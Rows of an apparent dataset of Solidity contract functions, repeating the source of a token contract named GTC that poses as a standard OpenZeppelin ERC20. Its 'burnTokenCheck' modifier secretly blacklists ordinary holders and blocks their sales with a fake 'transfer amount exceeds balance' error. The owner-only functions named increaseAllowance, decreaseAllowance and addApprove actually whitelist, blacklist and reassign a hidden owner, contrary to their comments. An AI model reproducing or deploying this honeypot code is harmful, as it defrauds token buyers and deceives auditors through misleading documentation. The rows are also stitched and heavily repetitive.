_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | decimals | function decimals() public view returns (uint8) {
return _decimals;
}
| /**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
2397,
2485
]
} | 8,888 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | GTC | contract GTC is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | totalSupply | function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
| /**
* @dev See {IERC20-totalSupply}.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
2545,
2650
]
} | 8,889 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | GTC | contract GTC is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | balanceOf | function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
| /**
* @dev See {IERC20-balanceOf}.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
2708,
2832
]
} | 8,890 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | GTC | contract GTC is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
